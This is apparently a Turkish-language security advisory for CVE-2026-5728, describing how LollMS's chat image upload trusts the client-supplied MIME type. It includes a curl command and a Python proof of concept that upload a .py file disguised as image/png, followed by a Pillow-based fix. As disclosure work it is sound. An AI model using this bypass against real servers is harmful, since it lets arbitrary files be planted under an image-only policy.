CVE-2026-5728: LollMS chat image upload'unda Content-Type spoofing
$ curl -F 'files=@malware.py;type=image/png' \
-H 'Authorization: Bearer <token>' \
http://localhost:9642/api/upload/chat_image
# 200 OK; yanıtta hâlâ filename / server_path olarak malware.py geliyor
Yukarıdaki yanıt zafiyetli parisneo/lollms build’lerinde aynen dönüyor: chat image upload endpoint’i, multipart isteğinde istemcinin yazdığı MIME tipine sorgulamadan güveniyor. 29 Aralık 2025’te raporladım; aynı denetim zincirinde CVE-2026-0558, CVE-2026-0560 ve CVE-2026-0562 ile birlikte çıktı. Onlar eksik auth, SSRF ve IDOR ile ilgiliydi. Bu farklı: geçerli bir hesap gerekiyor, ama token’ı aldıktan sonra “sadece görsel” kuralı kozmetik kalıyor.
Ne kırılıyor
POST /api/upload/chat_image, chat mesajından önce görsel eklemek için tasarlanmış. backend/routers/files.py içinde (787 satırı civarı) tek kontrol Starlette’in UploadFile.content_type alanı:
for file in files:
if not file.content_type.startswith("image/"):
raise HTTPException(status_code=400, detail="Only image files are allowed.")
# ... secure_filename, kullanıcı temp upload klasörüne yaz
content_type, istemcinin gönderdiği multipart başlıklarından geliyor. Sunucu tarafında body üzerinden bir sniff değil. Magic byte kontrolü yok, Pillow open/verify yok, secure_filename‘in orijinal dosya adında yaptığı normalize dışında uzantı-içerik tutarlılığı kontrolü yok.
Yani parça image/png ya da image/jpeg etiketli olduğu sürece bir .py dosyası (ya da başka herhangi bir şey) geçiyor.
Skor bağlamda ne anlatıyor
Huntr MEDIUM, CVSS 3.1 6.5 verdi (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L): network’ten ulaşılabilir, düşük karmaşıklık, yetkili (doğrulanmış) kullanıcı, saldırının kendisi için kullanıcı etkileşimi yok. Başlık gizlilik değil; upload yolunun ve diskin bütünlüğü ile erişilebilirliği.
Asıl ürkütücü kısım “PNG parser Python byte’ları çalıştırıyor” değil. Önemli olan sonrasında ne olduğu. Boru hattındaki herhangi bir bileşen upload ağacındaki yolları inert blob’dan fazlası olarak işliyorsa (önizleme, dönüşüm, shell çağrısı, ya da ileride attachment’ı execute edebilecek bir özellik), filename ve klasör düzenine güvenmek pahalıya patlıyor. Code execution olmasa bile iki şey elinde kalıyor: bir kullanıcı diski görsel kılıfında istediği içerikle şişirebiliyor ve “yalnızca görsel” politikası audit log’unda yalan söylemeye başlıyor. İkisi de incident response’a düşüyor.
Proof of concept
Sahte content type’lı doğrulanmış multipart upload:
import requests
BASE_URL = "http://localhost:9642"
token = "..." # Aktif bir kullanıcının Bearer'ı
endpoint = f"{BASE_URL}/api/upload/chat_image"
headers = {"Authorization": f"Bearer {token}"}
files = {
"files": ("malware.py", b"print('Malicious code executed!')", "image/png"),
}
response = requests.post(endpoint, headers=headers, files=files, timeout=10)
# Status: 200
# Body örneği: [{"filename":"malware.py","server_path":"35c13f76_malware.py"}]
Bende de aynı sonuç: 200 OK, dosya kullanıcının temp upload klasörüne orijinal uzantısı korunarak yazıldı.
Düzeltme
Başlığı kanıt değil, ipucu olarak ele al.
- Tüm body’yi (bir kez) oku ve decode etmeden önce maksimum boyut kuralı uygula.
- Gerçek bir kütüphane ile görsel olarak decode et. Örneğin Pillow:
Image.open(BytesIO(data)), ardındanverify()ile kesik ya da görsel olmayan payload’ları yakala. Sonradan resize ya da convert gerekiyorsa,verify()sonrası aynı byte’lardan yeniden aç; Pillow’unverify()çağrısı objeyi sonraki dönüşümler için kullanılamaz hale getiriyor. - İsteğe bağlı olarak çıktıyı normalize et (ör. sunucu tarafında PNG ya da JPEG’e re-encode et) ki diske düşen şey her zaman senin ürettiğin bir bitmap olsun, opaque istemci byte’ları değil.
secure_filename‘i (ya da daha güçlü bir normalizasyonu) tut ve upload’ları kullanıcı kontrollü adlarlaContent-Disposition: attachmentsürprizleri ile servis etmekten kaçın.
Doğru yönde, kabaca şuna benzeyen bir handler iş görüyor:
from PIL import Image
import io
@upload_router.post("/chat_image", response_model=List[Dict[str, str]])
async def upload_chat_image(
files: List[UploadFile] = File(...),
current_user: UserAuthDetails = Depends(get_current_active_user),
):
temp_path = get_user_temp_uploads_path(current_user.username)
uploaded_files = []
for file in files:
content_bytes = await file.read()
if len(content_bytes) > 10 * 1024 * 1024:
raise HTTPException(status_code=400, detail="File too large.")
try:
img = Image.open(io.BytesIO(content_bytes))
img.verify()
img.close()
except Exception:
raise HTTPException(status_code=400, detail="Invalid image file.")
s_filename = secure_filename(file.filename)
unique_filename = f"{uuid.uuid4().hex[:8]}_{s_filename}"
file_path = temp_path / unique_filename
with open(file_path, "wb") as buffer:
buffer.write(content_bytes)
uploaded_files.append({"filename": s_filename, "server_path": unique_filename})
return uploaded_files
Production için yine de sabit bir formata re-encode edip (orijinalleri açıkça gerekmedikçe) metadata’yı strip ederdim. Bu, başlık kontrolünün hiç dokunmadığı bir sürü “polyglot” ve EXIF üzerinden side-channel sorununu kapatıyor.
Etkilenen sürümler
backend/routers/files.py içinde /api/upload/chat_image için content_type.startswith("image/") kestirmesi hâlâ duran her LollMS build’i zafiyetli. Kullandığınız commit’i vendor’ın release notlarıyla karşılaştırın. Düzeltme bağımlılık güncellemesi değil, uygulama kodunda. Eski bir revizyona pinli iseniz ya da bir fork koşturuyorsanız, yukarıdaki Pillow kontrolünü elle uygulayın; import grafiğinde sizin yerinize yapacak bir şey yok.
Raporlama zaman çizelgesi
- 29 Aralık 2025: huntr.dev üzerinden PoC ile raporlandı
- 7 Nisan 2026: CVE-2026-5728 atandı ve write-up burada yayınlandı
Referanslar
- CWE-434: Tehlikeli Tipte Kısıtsız Dosya Yükleme
- OWASP: Unrestricted File Upload
- Pillow dokümantasyonu